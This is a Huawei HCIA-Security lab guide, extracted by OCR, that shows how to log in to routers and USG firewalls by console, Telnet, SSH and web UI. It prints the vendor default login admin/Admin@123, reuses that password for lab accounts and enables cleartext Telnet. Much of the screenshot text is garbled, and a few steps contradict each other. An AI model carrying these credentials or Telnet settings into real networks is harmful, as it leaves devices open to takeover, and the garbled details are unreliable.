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Huawei Certificate System

Based on the new ICT infrastructure, which features cloud-pipe-device synergy, Huawei
provides infrastructure technical personnel, developers, and industry users with ICT
Architecture Certification, ICT Developer Certification, and Industry ICT Certification,
respectively. To meet ICT professionals' learning and advancement requirements, Huawei
offers three levels of certification: Huawei Certified ICT Associate (HCIA), Huawei Certified
ICT Professional (HCIP), and Huawei Certified ICT Expert (HCIE).

As information security is crucial to the operation of various industries, China has issued the
Cybersecurity Law to specify information security requirements. As a new ICT talent, you
need to be familiar with the basic configurations of network security devices, basic cyber
threat types, basic information security theories, laws and regulations, and enterprise security
operations processes.

HCIA-Security is intended for the frontline engineers of Huawei offices, Huawei
representative offices, and other people who want to learn about Huawei network security
products and information security technologies. HCIA-Security covers information security
overview, information security standards and specifications, common security threats,
operating system security overview, data monitoring and analysis, electronic forensics
technology, and emergency response. In addition, it details network security technologies,
including firewall, user management, intrusion prevention, and encryption and decryption
technologies.

HCIA-Security helps you start a security-related career and gain overall recognition.
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Login to a Network Device

1.1 Logging In to a Device Through the Console Port
(SecureCRT)

1.1.1 Experiment Overview

1.1.1.1 About This Experiment

You can connect a PC to the console port of a new device to log in to, configure, and manage
the device.

1.1.1.2 Objectives

Through this experiment, you can learn how to use SecureCRT on a PC to log in to and
manage the device through the console port.

1.1.1.3 Experiment Networking

Figure 1-1 Logging in to a device through the console port

PC New device
Ethernet port

D- COM 1 Console port C

Serial cable

1.1.1.4 Experiment Planning

The PC uses a serial cable to connect to the console port of the device, and uses SecureCRT to
log in to the device.
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Table 1-1 Device ports and port types

Device Port Port Type
PC COM 1 Ethernet port
New device Console Console port

1.1.1.5 Experiment Tasks

Task

Description

Physical connection

Physically connect the PC to the device. Only a
directly connected device can be logged in to
through its console port.

Log in to the device.

By default, you can log in to the device through
its console port.

1.1.2 Experiment Task Configuration
1.1.2.1 Configuration Roadmap

1. Use a serial cable to connect the Ethernet port on the PC to the console port on the

device.

2. Set connection parameters in SecureCRT on the PC and log in to the device.

1.1.2.2 Configuration Procedure

Step 1 Establish the connection, power on all devices, and ensure that they run properly.

Step 2 Check the Ethernet port used by the PC to connect to the device.

Choose Control Panel > Hardware and Sound > Devices and Printers > Device
Manager > Ports.
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#5) Hardware and Sound

« ~ 4 @5 > Control Panel > Hardware and Sound

Control Panel Home - =
$ Devices and Printers
W

System and Security Add a device = Advanced printer setup Mouse G Device Manager

Network and Internet b _ = -

e Hardware and Sound

File Action View Help

s P EEmE B EX®

Programs > © Bluetocth =
User Accounts > B Computer

> wa Disk drives
Appearance and > [l Display adapters

> @@ Human Interface Devices

> @ IDE ATA/ATAP| controllers

> ofs Imaging devices

> B Keyboards

> £.1 Memory technology devices

> () Mice and other pointing devices
> [ Monitors

> P Network adapters

v @ Ports (COM & LPT)

Personalization
Clock, Language, and Region

Ease of Access

(COM3)

I @ Prolific USB-to-Serial Comm Port (COM4) I

Step 3 Run SecureCRT on the PC and set parameters.

Click the New Session button.

AT A L2 o8 5 5 9

Els | Secsions

Show dialog on startup [ ]openin a tab

| Connect | | Close

Set Protocol to Serial and click Next.
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Mewr Zession Wizard il

This wizard will help wou create a new session for connecting to a
remakte server,

What kype of connection do you wank to establishy?

Protocol; I :

[ Do not use this wizard when creating sessions

Mext = I Finish Cancel

Select the Ethernet port queried in step 2 and set its parameters as shown in the following
figure.

Mew Session Wizard

Enter the data necessary to make a serial connection

Port: coms e Flow Control
DTR/DSR.
Baud rate: ga00 s o /o

[ ]RTS/CTS

Data bits: [ ] ¥OM/¥OFF

Stop bits: i e

Mame af pipe:

——End
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1.1.3 Verification

Press Enter. If the following information is displayed on SecureCRT, the login to the device
through the console port succeeds.

Serial - SecureCRT

Fle Edit View Options Transfer Script Tools Help

| serial

Login authentication

Username:

1.2 Overview of Commands (SecureCRT)

1.2.1 Experiment Overview

1.2.1.1 About This Experiment

After logging in to a new device through the console port from a PC, you can perform basic
operations on the device using commands.

1.2.1.2 Objectives

Through this experiment, you will become familiar with basic operations using commands.
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1.2.1.3 Experiment Networking

Figure 1-2 Logging in to a device through the console port

PC New device

mm! Ethernet port |
COM 1 Console po ®

Serial cable

1.2.1.4 Experiment Planning

The PC uses a serial cable to connect to the console port of the device, and uses SecureCRT to
log in to the device.

Table 1-2 Device ports and port types

Device Port Port Type
PC COM 1 Ethernet port
New device Console Console port

1.2.1.5 Experiment Tasks

No. Task Description
1 Physical connection Connect the PC to the device physically.
2 Log in to the device. By default, you can log in to the device through

its console port. After logging in to the device,
you can run commands on the device.

3 Be familiar with basic Basic commands include help commands and
commands. those used to switch configuration views,
display device information and configurations,
and save configurations.

1.2.2 Experiment Task Configuration
1.2.2.1 Configuration Roadmap

1. Log in to the device through the console port.

2. Be familiar with basic commands of the device.
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1.2.2.2 Configuration Procedure

Step 1
Step 2

Step 3

Step 4

Step 5

Step 6

Log in to the device through the console port.
Enter the system view.

The CLI is divided into multiple command views. Every command is registered with one or
multiple views, so a command can be run only in the specified view (or views). After a
connection to a firewall is set up, the user view is displayed. In the user view, you can only
view the running status and statistics. Some commands need to be run in the system view.
Therefore, before running such commands, you must run the following command to enter the
system view from the user view:

<R1> system-view
[R1]

Enter the interface view.

In the system view, you can run configuration commands to enter the views of protocols,
interfaces, etc. For example, to enter the view of an interface, run the following command:

[R1] interface GigabitEthernet 1/0/1
[R1-GigabitEthernetl/0/1]

Get online help.

A question mark (?) is one of the online help methods provided by the VRP. If you enter a
question mark (?) in the system view, the system will display the command parameters that
can be configured in the system view. You can also type a space after a parameter and then
enter a question mark (?) to obtain the list of parameters that can be used after this particular
parameter. If you type a character string followed by a question mark (?), the system will list
all the commands starting with this character string. For example:

[R1] interface ?
Dialer Dialer interface
Eth-Trunk Ethernet-Trunk interface
GigabitEthernet GigabitEthernet interface

LoopBack LoopBack interface
NULL NULL interface
Tunnel Tunnel interface

Virtual-Template Virtual-Template interface
Virtual-if Virtual interface
Vlanif Vlan interface

The Tab key is another online help method provided by the VRP. If you enter the first few
letters of a command keyword and press Tab, the complete keyword is displayed. You can
switch between all the commands that have this keyword.

[R1] inter //Press Tab.

[R1] interface
Quit the current view (go back to the previous view).

To go back to the previous view, run the quit command. For example, to quit the current
interface view:

[R1-GigabitEthernetl1/0/1] quit
[R1]

Return to the user view.
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To return to the user view from another view, run the return command. For example:

[R1-GigabitEthernetl/0/1] return
<R1>

Step 7 Display the device version.
In any view, run the display version command to display the device version. For example:

<R1> display version

Huawei Versatile Routing Platform Software

VRP (R) software, Version 5.110 (eNSP V100R001CO00)
Copyright (c) 2000-2011 HUAWEI TECH CO., LTID

Step 8 Save configurations.
To save all configurations of the device, run the save command in the user view.

<R1> save

The current configuration will be written to the device.

Are you sure to continue?[Y/N]

Apr 8 2018 14:09:14-08:00 R1 DS/4/DATASYNC CFGCHANGE:0ID 1.3.6.1.4.1.2011.5.25.
191.3.1 configurations have been changed. The current change number is 1, the ch
ange loop count is 0, and the maximum number of records is 4095.y

Info: Please input the file name ( *.cfg, *.zip ) [vrpcfg.zip]:

Apr 8 2018 14:09:16-08:00 R1 %%01CFM/4/SAVE (1) [0] :The user chose Y when decidin
g whether to save the configuration to the device.

Now saving the current configuration to the slot 17.

Save the configuration successfully.

Step 9 Display configurations.

In the current view, run the display this command to display the configuration of the view. An
interface view is used as an example:

[R1-GigabitEthernet0/0/1] display this
#

interface GigabitEthernet0/0/0
description to_ FW

ip address 10.1.1.1 255.255.255.0

#

return

Run the following command in any view to display all the current configurations, including
the configurations that have not been saved:

[R1] display current-configuration
Run the following command in any view to display the configurations that have been saved:

[R1] display saved-configuration

——End

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 8

https://t.me/learningnets



HCNA-Security

Experiment Guide for Network Security Engineers

1 Login to a Network Device

1.3 Login to the Device Through Telnet

1.3.1 Experiment Overview

1.3.1.1 About This Experiment

After remote login is configured on a device, an administrator can remotely log in to the
device through Telnet to manage the device.

1.3.1.2 Objectives

Through this experiment, you can use Telnet to log in to the device.

1.3.1.3 Experiment Networking

Figure 1-3 Login to a device through Telnet

PC

Device

D- Ethernet port

1.3.1.4 Experiment Planning

&

Network cable

Use a common network cable to connect the PC to GE1/0/1 on the device (GE1/0/1 is used as
an example), and use SecureCRT on the PC to remotely log in to the device.

Table 1-3 Device ports and parameters

Device Port Port Type Address

PC Ethernet port Ethernet port 10.1.2.100/24

New device GE1/0/1 Ethernet port 10.1.2.1/24
1.3.1.5 Experiment Tasks

No. Task Description

1 Physical connection Connect the PC to the device physically.

2 Log in to the device. By default, you can log in to the device through

its console port. Then, configure Telnet on the

device.
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No. Task Description
3 Configure Telnet on the | By default, the device does not support Telnet.
device. You must enable Telnet and set the account and

password used to remotely log in to the device.

4 Test Telnet. Remotely log in to the device through the PC
connected to the device and check whether
Telnet is successfully configured.

1.3.2 Experiment Task Configuration
1.3.2.1 Configuration Roadmap

1. Log in to the device through the console port (for example).
2. Configure Telnet on the device.
3. Login to the PC to test Telnet.

1.3.2.2 Configuration Procedure on the CLI

Step1 Log in to the device through the console port (for example). For details, see section 1.1.
Step 2 Enable Telnet on the device.

<R1> system-view

[R1] telnet server enable
Step 3 Configure the port through which a Telnet user logs in to the device.
Configure the IP address of the port.

[R1] interface GigabitEthernet 1/0/1

[R1-GigabitEthernetl/0/1] ip address 10.1.2.1 24

Configure access control for the port. (This step is only mandatory for firewall service
ports.)

[USG-GigabitEthernetl1/0/1] service-manage enable

[USG-GigabitEthernetl/0/1] service-manage telnet permit

[USG-GigabitEthernetl/0/1] quit

Add the port to a security zone. (This step is only mandatory for firewall service ports.)
[USG] firewall zone trust

[USG-zone-trust] add interface GigabitEthernetl/0/1

[USG-zone-trust] quit

L] noTE

If you are using the MGMT port of the firewall for remote login, skip this step.
Step 4 Configure an administrator.

Set the VTY administrator authentication mode to AAA.

[R1] user-interface vty 0 4
[Rl1-ui-vty0-4] authentication-mode aaa
[R1-ui-vty0-4] protocol inbound telnet
[Rl1-ui-vty0-4] user privilege level 3
[R1-ui-vty0-4] quit
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Configure a Telnet administrator.

[R1] aaa

[Rl-aaa] manager-user telnetuser

[Rl-aaa-manager-use-telnetuser] password cipher (Enter Password)
[Rl-aaa-manager-use-telnetuser] service-type telnet
[Rl-aaa-manager-use-telnetuser] level 3

[Rl-aaa-manager-use-telnetuser] quit

Bind a role to the administrator (optional, only supported by firewalls).
[FW-aaa] bind manager-user telnetuser role system-admin

Step 5 Log in to the device.

On the PC, set the address to 10.1.2.100/24, run SecureCRT, set Telnet parameters, and log in

to the device.

Create a session, set the session protocol to Telnet, and click Next.

Mewr Seasion Wizard ll

This wizard will help vou create a new session for connecting ko a
remake server,

‘“What tvpe of connection do wou want to establish?

Protocol:

[ Do not use this wizard when creating sessions

Mext = I Finizh Cancel

The hostname is the IP address of the Telnet port on the device, and the port number is 23.
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MewSessionYWizard il

WWhat is the name or IP address of the remate host?

Hoskname: I 10.1.2.1|
Park: I 23
Fireweall: INu:une j

< Back. I Mext = I Cancel |

Set the session name and description (optional), and click Finish.

Mew Session Wizard ll

The wizard is now ready to create the new session For you,
‘rhat name do vou want to use bo uniquely identify the new session?

Session name: | | k1

Diescription: |

< Back | Finish I Cancel

Select the session and click Connect.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 12
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G Connect in Tab O >

M3 A & B XEd o 7

=[] Sessions
-2 ADg
-2 A1D
-0 A2
-E0 A7
-2 B14

Show dialog on startup

——End

1.3.2.3 Configuration Procedure on the Web Ul (Supported Only by
Firewalls)

Step 1 Use the default web mode to log in to the device. For details, see section 1.5.
Step 2 Enable the Telnet service.

Choose System > Administrator > Service Settings and select the Enable check box of
Telnet Service.

Huawei |= a I: @

wuswe USGB330

Dashboard Monitor Policy Object Netw System
I3 SNMP Device Service Settings
B Across-Layer-3 MAC HTTPS Service v
@ IDS Interworking HTTPS Port 44
¥ CIS Interworking Web Service Timeout 10 <1-1440> minutes
@ Restart Max. Online Web Users 200 <1-200>
&) Configure Informatio Mumber of Consecutive Login Failures 3 =1-F=
Sandbox
8 Lockout Duration 30 =1-60= minutes
[#] Advanced Settings o
Minimum Password Length 3 =8-16=
% Charset Configuratic
= Administrator I Telnst Service | Enable
= Administrator FIF service Enable

2 Administrator Role Passviord Management Enable

L Service Settings Warning Information(2) Enable

Step 3 Configure the port through which a Telnet user logs in to the device.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 13
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Choose Network > Interface and click the Edit button on the line of GE1/0/1.

Huawei E

wwer USGE330

Dashboard Monitor Policy Obj

o Interface List

o LTE 46

[] Interface Pair A0 B Detete

@ zone Interface Name Zone

VXLAN

= DNS GEO/I0/0{GEO/MGMT) trust= defautt)

[ DHCP Server GE1/010 — NONE ~(& public;
(= Route

o GE1/0M

A@1Den

Network

g4 =

System

IP Address

17221251

Current User- admin ~ Commit Save Help About Change Password Lo

@) Refresn | Interface Name || | Enter an interface name @, Search {f Clear Search Cong

Connection... VLANNX... Mode e f;‘:f vg—| Ena- Edit
Static IP (IPv4) PN =

static IP (IPv6) (HTE) + P
Static IP (IPv4) . .

static IP (IPv6) (R ¥ ¥ 2
Static IP (IPv4) . 5

Static IP (IPV6) (Rt + + e

Set the IP address and security zone of the port and select Telnet as the access mode.

Modify GigabitEthernet Interface 2
Interface Name GigabitEtherne
Alias
Virtual System(z) public ~
Mode ® Routing Switching Bypass Interface Pair
IPv4 IPvE
Connection Type ® StaticIP DHCP PPFoE
IF Address 10.1.2.1/24 Enter each IP address on a separate line
For example:
"1.1.1.1/255.255.255.0"
M.1.14247
Default Gateway
Primary DNS Server(3)
Secondary DNS Server(2)
Multi-Egress Options
Interface Bandwidth
Upstream Bandwidth kbps || =60-100000= Overload Protection Threshold(z)
Downstream Bandwidth kbps [ <60-100000= Overload Protection Threshold(Z)
| Access Management HTTP HTTFS Ping
S8H NETCONF
SNMP
¥ | Advanced
L] noTe
If you are using the MGMT port of the firewall for remote login, skip this step.
Step 4 Configure an administrator.
Choose System > Administrator > Administrator and click Add.
Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 14
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wuswer USGB330

*  Huawei (' E I‘; ‘_:_L @
@ System

Dashboard Monitor Policy Object  Networ

59 _Setup Administrator List

F | P T

-8 Across-Layer-3 MAC Name Role

- IDS Interworking audit-admin audit-admin
1@ CIS Interworking e

"EPRestart admin system-admin
~I5) Configure Informatio

-[E=] 5andbox

{8 Advanced Settings

.4 Charset Configuratic

™ Administrator

Set the Telnet user name to telnetuser, password to Admin@123, administrator role to
system-admin, and service type to Telnet.

Add Administrator T X
Name :
Authentication Type ) | ocal authentication
Server authentication
Server authentication/Local authentication
Fassword *(8-64 characters)
The password must contain at least three of the following characier
types: uppercase letters, lowercase letters, digits, and special
characters. The password cannot contain two or more consecufive
identical characters. The password cannot be the same as the
administrator name or its reverse form.
Confirm Password *
Role system-admin | *
Trusted Host 1 o
a| Advanced Settings
Service Type +| Web S5H
Console FTP
oK Cancel
Step 5 Log in to the device.
Copyright © Huawei Technologies Co., Ltd. 15
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On the PC, set the address to 10.1.2.100/24, run SecureCRT, set Telnet parameters, and log in
to the device.

Create a session, set the session protocol to Telnet, and click Next.
Mews Session Wizard il

This wizard will help vou create a new session for connecting ko a
remate server,

‘“What tvpe of connection do wou want to establish?

Protocol: | TR - |

[ Do not use this wizard when creating sessions

Mexk = I Finizh Cancel

# The hostname is the IP address of the Telnet port on the device, and the port number is 23.
Mewsessionifizard ll
What is the name or IP address of the remote host?

Hosknarme:

Park:

Fireweall: INu:une j

< Back. I Mext = I Cancel |

Set the session name and description (optional), and click Finish.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 16
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[ew Session Wizard @

The wizard is now ready to create the new session For you,
What name do wou wank ko use to uniquely identify the new session?

Session name: | Fw1

Description:

[ Fimish ] [ Cancel

Select the session and click Connect.

Connect in Tab O x>

WHE A s EBE XEdé o m 7

=[] Sessions
-2 ADg
-2 A1D
-0 A20
w0 A7
-2 B14
-2 B24

Show dialog on startup

——End

1.3.3 Verification

Press Enter. If the following information is displayed on SecureCRT, the remote login to the
device succeeds.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 17
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[EE1 - SecureCRT

File Edit View Options Transfer Secript Teols Help
APRAR wanESEITRT 0By
IR | B

Login authentication

Username:
Username:|i

-
Ready Telnet T, 10 24 Rews, 80 Col=s ¥T100 CAF HUM 2

1.4 Login to the Device Through SSH

1.4.1 Experiment Overview

1.4.1.1 About This Experiment

After SSH is configured on a device, an administrator can remotely log in to the device
through SSH to manage the device.

1.4.1.2 Objectives

Through this experiment, you can use SSH to log in to the device.

1.4.1.3 Experiment Networking

Figure 1-4 Login to a device through SSH

PC Device

D- Ethernet port GE1/0/1 ®

Network cable

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 18
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1.4.1.4 Experiment Planning

Use a common network cable to connect the PC to GE1/0/1 on the device (GE1/0/1 is used as
an example), and use SecureCRT to remotely log in to the device from a local PC.

Table 1-4 Device ports and parameters

Device Port Port Type Address

PC Ethernet port Ethernet port 10.1.2.100/24

New device GE1/0/1 Ethernet port 10.1.2.1/24

1.4.1.5 Experiment Tasks

No. Task Description

1 Physical connection Physically connect the PC to the device.

2 Log in to the device. Log in to the device in another mode and
configure SSH.

3 Configure SSH on the By default, the device does not support SSH.

device. You must enable SSH and set the account and

password used to remotely log in to the
device.

4 Test SSH. Remotely log in to the device through the PC
connected to the device and check whether
SSH is successfully configured.

1.4.2 Experiment Task Configuration
1.4.2.1 Configuration Roadmap

1. Log in to the device, for example, through the console port.
2. Configure SSH on the device.
3. Login to the PC to test Telnet.

1.4.2.2 Configuration Procedure on the CLI

Step1 Log in to the device through the console port (for example). For details, see section 1.1.

Step 2 Enable SSH on the device.

<R1> system-view

[R1] stelnet server enable
Step 3 Configure the port through which an SSH user can log in to the device.
Configure the IP address of the port.

[R1] interface GigabitEthernet 1/0/1

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 19
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[R1-GigabitEthernetl/0/1] ip address 10.1.2.1 24

Configure access control for the port. (This step is only mandatory for firewall service ports.)

[USG-GigabitEthernetl/0/1] service-manage enable
[USG-GigabitEthernetl/0/1] service-manage ssh permit
[USG-GigabitEthernetl/0/1] quit

Add the port to a security zone. (This step is only mandatory for firewall service ports.)

[USG] firewall zone trust
[USG-zone-trust] add interface GigabitEthernetl/0/1
[USG-zone-trust] quit

L] noTE

If you are using the MGMT port of the firewall for remote login, skip this step.)
Step 4 Configure an administrator.

Set the VTY administrator authentication mode to AAA.

[R1] user-interface vty 0 4
[Rl1-ui-vty0-4] authentication-mode aaa
[R1-ui-vty0-4] protocol inbound ssh
[Rl1-ui-vty0-4] user privilege level 3
[R1-ui-vty0-4] quit

Create an SSH administrator account sshuser and set the authentication mode to password
and service mode to ssh.

[R1] aaa

[Rl-aaa] manager-user sshuser

[Rl-aaa-manager-use-telnetuser] password cipher (Enter Password)
[Rl-aaa-manager-use-telnetuser] service-type ssh
[Rl-aaa-manager-use-telnetuser] level 3

[Rl-aaa-manager-use-telnetuser] quit

Bind a role to the administrator (optional and supported only by firewalls).
[FW-aaa] bind manager-user sshuser role system-admin

Configure an SSH user.

[R1] ssh user sshuser
[R1] ssh user sshuser authentication-type password

[R1] ssh user sshuser service-type stelnet
Step 5 Generate a local key pair.

[R1] rsa local-key-pair create
The key name will be: R1_Host
The range of public key size is (512 ~ 2048).
NOTES: A key shorter than 1024 bits may cause security risks.
The generation of a key longer than 512 bits may take several minutes.
Input the bits in the modulus[default = 2048]:
Generating keys...
R
R
.................................. +++++++++
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Step 6 Log in to the device.

On the PC, set the address to 10.1.2.100/24, run SecureCRT, set SSH parameters, and log in to

the device.
Create a session, set the session protocol to SSH2, and click Next.
Mewy Session Wizard il

This wizard will help wou create a new session For connecking ko a
remoke server,

What type of connection do wou want to establish?

Protoc

[ Do not use this wizard when creating sessions

Mext = I Finish Cancel

The hostname is the IP address of the SSH port on the device, and the port number is 22.

Mewvy Sezsion Wizard il

Wwhat iz the name o IP address of the remote host?

The user name can be left blank,

Hostnarne: I 10.1.2.1

Port: I az

Firewall: INone ;I

Usernarne: I |

< Back I Mext = I Cancel |

Set the session name and description (optional), and click Finish.
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Mewy Seszion Wizard ll

The wizard is now ready bo create the new session For you,
‘hat name do wou wank bo use bo uniquely identify the new session?

Session name:} | R1

Descripkion: | |

« Back | Finish I Cancel

Select the session and click Connect.

Connect in Tab O x>

WHE A s EBE XEdé o m 7

=[] Sessions
-2 ADg
-2 A1D
-2 AZD
w0 A7
-2 B14
-2 B24
&[22 B26

-] Security-IE

Show dialog on startup

——End

1.4.3 Verification

Press Enter. If the following information is displayed on SecureCRT, the remote login to the
device succeeds.
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— SecureCRT

File Edit V¥iew Optionz Transfer Secript Tools Help
HIAPNIIDBREZRI TR 0 Hg
IRt | x|

Login authentication

Username:
Username:|i

-

Eeady Telnet T, 10 24 Rows, 80 Cols ¥T100 CAF FUM 2

1.5 Login to the Device Using the Default Web Mode
(Supported Only by Firewalls)

1.5.1 Experiment Overview

1.5.1.1 About This Experiment

You can connect a PC to the MGMT port of a new device to log in to, configure, and manage
the device.

1.5.1.2 Objectives

This experiment shows you how to log in to a firewall from a PC using the default web mode.

1.5.1.3 Experiment Networking

Figure 1-5 Login to a device using the default web mode

PC New device
— Ethernet port MGMT
D COM 1 GEO0/0/0 Yam,
>
x
Network cable
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1.5.1.4 Experiment Planning

Use a serial cable to connect the PC to the console port of the device, and use SecureCRT to
log in to the device.

Table 1-5 Device ports and parameters

Device Port Port Type IP Address
PC COM 1 Ethernet port 192.168.0.2/24
New device GE0/0/0 Ethernet port 192.168.0.1/24

1.5.1.5 Experiment Tasks

No. Task Description

1 Physical connection Connect the PC to the MGMT port of the device.
The PC can communicate with the device and log
in to the device through the default web mode.

2 Log in to the device. By default, you can log in to the device through the
MGMT port on the firewall.

1.5.2 Experiment Task Configuration
1.5.2.1 Configuration Roadmap

1. Use a network cable to connect the Ethernet port on the PC to the MGMT port on the
device.

2. Use a browser to access the firewall.

1.5.2.2 Configuration Procedure
Step 1 Establish the connection, power on all devices, and ensure that they run properly.
Step 2 Use a network cable to connect the network adapter of the PC to G0/0/0 on the USG.
Step 3 Set the IP address of the PC to 192.168.0.2/24.

Step 4 Open a network browser and enter https://192.168.0.1:8443 (or http://192.168.0.1) in the
address bar.

Ll noTE
By default, the IP address of G0/0/0 is 192.168.0.1 and HTTP management is enabled. You can log in to
the system using the user name admin and password Admin@123.)

——End

1.5.3 Verification

Enter the user name admin and password Admin@123 and click Login.
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Huawet

UsG6330

Language &, English (e A==k
User Name admin
Fassllvﬂrd HERREERERE

Download CA certificate

If the following information is displayed on the browser, the login succeeds.

Huawei — — 3 o dmin  Commit Save Help About Change Password Logot
e Is B D]
HUAWEL s . . .
Dashboard Monitor  Policy ~ Object  Network  System
F&] Function Customization Refresh Interval | Never ]
Device Information System Information
SN: 210235951210H7000008
Version: USG6300 V500R001C80SPC100 [Upgrade]
Device Name: USG6300 Modity]
System Time: 2018-05-08 3:07:48 Modity]
Running Duration: 0 weeks 6 days 1 hours 54 minutes
Fan: MNormal
Device Temperature: Normal [Details]

Power Supply/Module Status: Normal (in slot 5)

Hot Standby: single Device [Configure]
Virtual System: @ [Configure]
1PV6: @ [Configure]

System Resource LTE 4G Wireless Data Card Status
CLI Console

1.6 Login to the Device Through the Web UI (Supported
Only by Firewalls)
1.6.1 Experiment Overview

1.6.1.1 About This Experiment

You can connect a PC to a service port of a firewall to configure and manage the firewall.

1.6.1.2 Objectives

Through this experiment, you can log in to a firewall from a PC through the web UI.
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1.6.1.3 Experiment Networking

Figure 1-6 Login to a device through the web Ul

PC New device

Ethernet port

D- oM | ce1/0/1 [
Pas,,
P

—Network cable

1.6.1.4 Experiment Planning

The PC uses a serial cable to connect to the console port of the device, and uses SecureCRT to
log in to the device.

Table 1-6 Device ports and parameters

Device Port Port Type IP Address
PC COM 1 Ethernet port 10.1.2.100/24
New device GE1/0/1 Ethernet port 10.1.2.1/24

1.6.1.5 Experiment Tasks

No. Task Description

1 Physical connection Physically connect the PC to the service
port on the device.

2 Configure the web login The service port of the device does not
function. support web login by default. Therefore,
you need to enable the web function and
configure the account and password for web
login.

3 Test the web login function. Remotely log in to the device through the
PC connected to the device and

check whether the web login function is
successfully configured.
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1.6.2 Experiment Task Configuration
1.6.2.1 Configuration Roadmap

1. Use a network cable to connect the Ethernet port on the PC to the service port on the
device.

2. Configure the web login function.
Log in to the PC to test the web login function.

1.6.2.2 Configuration Procedure on the CLI

Step 1 Establish the connection, power on all devices, and ensure that they run properly.

Step 2 Log in to the device, for example, through the console port, Telnet, or SSH. For details, see
section 1.1, 1.2, or 1.3.

Step 3 Check whether the web server function is enabled. If not, run the following command:

[USG] web-manager security enable

L] noTE

1. The security parameter is used to enable HTTPS management. If the web-manager enable
command is run, HTTP management is enabled.

2. HTTPS and HTTP management should not use the same port. Otherwise, port conflicts will occur.

Step 4 Configure the login port.
Set the IP address of the port and enable access control on the port.

[USG] interface GigabitEthernet 1/0/1
[USG-GigabitEthernetl1/0/1] ip address 10.1.2.1 24
[USG-GigabitEthernetl/0/1] service-manage enable
[USG-GigabitEthernetl/0/1] service-manage https permit
[USG-GigabitEthernetl/0/1] quit

Add the port to a security zone.

[USG] firewall zone trust
[USG-zone-trust] add interface GigabitEthernet 1/0/1
[USG-zone-trust] quit

Step 5 Configure an administrator.

[USG] aaa

[USG-aaa] manager-user webuser

[USG-aaa-manager-use-webuser] password cipher (Enter Password)
[USG-aaa-manager-use-webuser] level 3
[USG-aaa-manager-use-webuser] service-type web
[USG-aaa-manager-use-webuser] quit

[USG-aaa] bind manager-user webadmin role service-admin
Step 6 Set the IP address of the PC to 10.1.2.100/24. Use the browser to access https://10.1.2.1.
-——-End

1.6.2.3 Configuration Procedure on the Web Ul

Step 1 Establish the connection, power on all devices, and ensure that they run properly.
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Step 2 Log in to the device, for example, using the default web mode. For details, see section 1.5.
Step 3 Enable the HTTPS service.

Choose System > Administrator > Service Settings and select the Enable check box beside
HTTPS Service.

Huawei 'H E I: ‘!_L @ @

wuawer  USGB330

Dashboard Monitor Policy Object  Networ {ystem

|
=5 Setup Device Service Settings

LTI LTTPS Service o
3SNMP 9 HTTPS Port 44
% Across-Layer-3 MAC T - 440 e
'@ 1DS Interworking .
% CIS Interworking Max. Online Web Users 200 =1-200+
SPRestart Number of Consecutive Login Failures 3 =1-5=
1) Configure Informatio Lockout Duration 30 <1-60= minutes
[E Sandbox Minimum Password Length 2 816>
{8} Advanced Settings Telnet Service | Enable
Charset Configuratic FTP Service Enable
| Administrator Password Management Enable
= Administrator Warning Information(2) Enable
S Administrator Role

| §5H Service Settings

Step 4 Configure the login port.
Choose Network > Interface and click the Edit button on the line of GE1/0/1.

Commit Save Help About Change Password Lo

Huawei (5 a J%L @ Current User: admin

wuwer USGEB330

Dashboard Monitor Policy Obj Network  System

Q oo
[ intertace Pair o Add 8§ Delste @) Refresh | Interface Name || | Enter an interface name @, Search {5 Clear Search Cond
@ zone Interface Name Zone IP Address Connection... VLANNVX... Mode Physical f;‘\‘: pyg | Ena-- Edit
VXLAN
0 ’ 17221251 Static IP (IPv4) - Y a g
E3 DNS GEO/0I{GEOMGMT) trust(® defaul) Static IP (IPvs) Routing + @
& DHCP Server 1o N Static IP (IPv4) + @
= GE1i0/0 - ) Static 1P (IPVS) Routing 4 4 4
(= Route - . Static IP (IPv4) &
a8 1peas GEtioA - ) Static IP (IPv6) (R ¥ + &

Set the IP address and security zone of the port and select HTTPS as the access mode.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 28

https://t.me/learningnets



HCNA-Security
Experiment Guide for Network Security Engineers 1 Login to a Network Device

L]

Modify GigabitEthernet Interface

Interface Name GigabitEthernet

Alias
Virtual System(2) public ~|*
Mode = Routing Switching Bypass Interface Pair
IPv4 IPvE
Connection Type e Static I[P DHCP FPPoE
|P Address |10_1_2_1;255_255_255_0 I Enter each IP address on a separate line.
For example:
"1.1.1.1/255.255.255.0"
"1.1.1.1/24"
Default Gateway
Primary DNS Server(2)
Secondary DNS Server(?)
Multi-Egress Options
Interface Bandwidth
Upstream Bandwidth kbps || =B0-100000= Overload Protection Threshold(?)
Downstream Bandwidth kbps [+ =60-100000= Overload Protection Threshold(3)
+| Access Management HTTP +|HTTPS Ping
SSH +| Telnet NETCONF
SNMP
¥| Advanced

Configure an administrator.

Choose System > Administrator > Administrator and click Add.

Huawei _ E 3 @
wuawe  USGB330 u "”Q
Networl

Dashboard Monitor Policy Object System
| Set . .
£ Setup Administrator List

(L) System Time

. Add Delete
T2 SNMP e a
= Across-Layer-3 MAC Name Role

¢ DS Interworking telnetuser system-admin
¥/ CIS Interworking audit-admin audit-admin

Restart
@ api-admin
(=) Configure Informatio
admin system-admin

[=) Sandbox

[2] Advanced Settings
Charset Configuratic
= Administrator

9 = Administratgr

Set the web user name to webuser, password to Admin@123, administrator role to
system-admin, and service type to Web.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 29

https://t.me/learningnets



HCNA-Security

Experiment Guide for Network Security Engineers 1 Login to a Network Device
Add Administrator T X%
Name webuser *

Authentication Type # Local authentication
Server authentication
Server authentication/Local authentication

Fassword *(8-64 characters)

The password must contain at least three of the following character
types: uppercase letters, lowercase letters, digits, and special
characters. The password cannot contain two or more consecufive
identical characters. The password cannot be the same as the
administrator name or its reverse form.

Confirm Password *
Role *
Trusted Host 1 @'

4| Advanced Settings

Service Type | Web Telnet S5SH

Console FTP

| OK | | Cancel |

1.6.3 Verification

Open the browser on the PC, access https://10.1.2.1, enter the user name admin and password
Admin@123, and click Login.

Huawet

UsSG6330

Language e English A=y
User Name webuser
Password | sessasssse

Download CA certificate
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If the following information is displayed on the browser, the login succeeds.

